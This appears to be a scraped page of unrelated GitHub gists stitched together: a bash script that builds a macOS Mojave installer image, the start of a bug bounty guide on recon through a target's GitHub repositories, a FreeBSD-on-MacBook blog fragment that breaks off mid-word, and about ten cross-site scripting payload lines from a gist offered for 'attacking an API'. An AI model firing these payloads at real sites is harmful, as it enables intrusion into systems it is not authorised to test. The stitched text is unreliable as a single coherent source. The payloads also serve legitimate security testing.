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jamieparfet / macOS-mojave-iso.sh
Last active Aug 4, 2020
Create an ISO from the mojave installer app
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#!/bin/bash
# This assumes that the ~6GB mojave installer is in the /Applications folder.
# If it's not, just open the App Store, search Mojave, and you can download the installer file from there.
hdiutil create -o /tmp/mojave.cdr -size 6g -layout SPUD -fs HFS+J
hdiutil attach /tmp/mojave.cdr.dmg -noverify -mountpoint /Volumes/install_mojave
sudo /Applications/Install\ macOS\ mojave.app/Contents/Resources/createinstallmedia --volume /Volumes/install_mojave
mv /tmp/mojave.cdr.dmg ~/Desktop/InstallSystem.dmg
hdiutil detach /Volumes/Install\ macOS\ mojave
@EdOverflow
EdOverflow / github_bugbountyhunting.md
Last active Sep 10, 2020
My tips for finding security issues in GitHub projects.
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GitHub for Bug Bounty Hunters

GitHub repositories can disclose all sorts of potentially valuable information for bug bounty hunters. The targets do not always have to be open source for there to be issues. Organization members and their open source projects can sometimes accidentally expose information that could be used against the target company. in this article I will give you a brief overview that should help you get started targeting GitHub repositories for vulnerabilities and for general recon.

Mass Cloning

You can just do your research on github.com, but I would suggest cloning all the target's repositories so that you can run your tests locally. I would highly recommend @mazen160's GitHubCloner. Just run the script and you should be good to go.

$ python githubcloner.py --org organization -o /tmp/output
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FreeBSD on a MacBook Pro

Since 2008 or 2009 I work on Apple hardware and OS: back then I grew tired of Linux desktop (which is going to be MASSIVE NEXT YEAR, at least since 2001), and switched to something that Just Works. Six years later, it less and less Just Works, started turning into spyware and nagware, and doesn't need much less maintenance than Linux desktop — at least for my work, which is system administration and software development, probably it is better for the mythical End User person. Work needed to get software I need running is not less obscure than work I'd need to do on Linux or othe Unix-like system. I am finding myself turning away from GUI programs that I used to appreciate, and most of the time I use OSX to just run a terminal, Firefox, and Emacs. GUI that used to be nice and unintrusive, got annoying. Either I came full circle in the last 15 years of my computer usage, or the OSX experience degraded in last 5 years. Again, this is from a sysadmin/developer ki

@JohannesHoppe
JohannesHoppe / 666_lines_of_XSS_vectors.html
Created May 20, 2013
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
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<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
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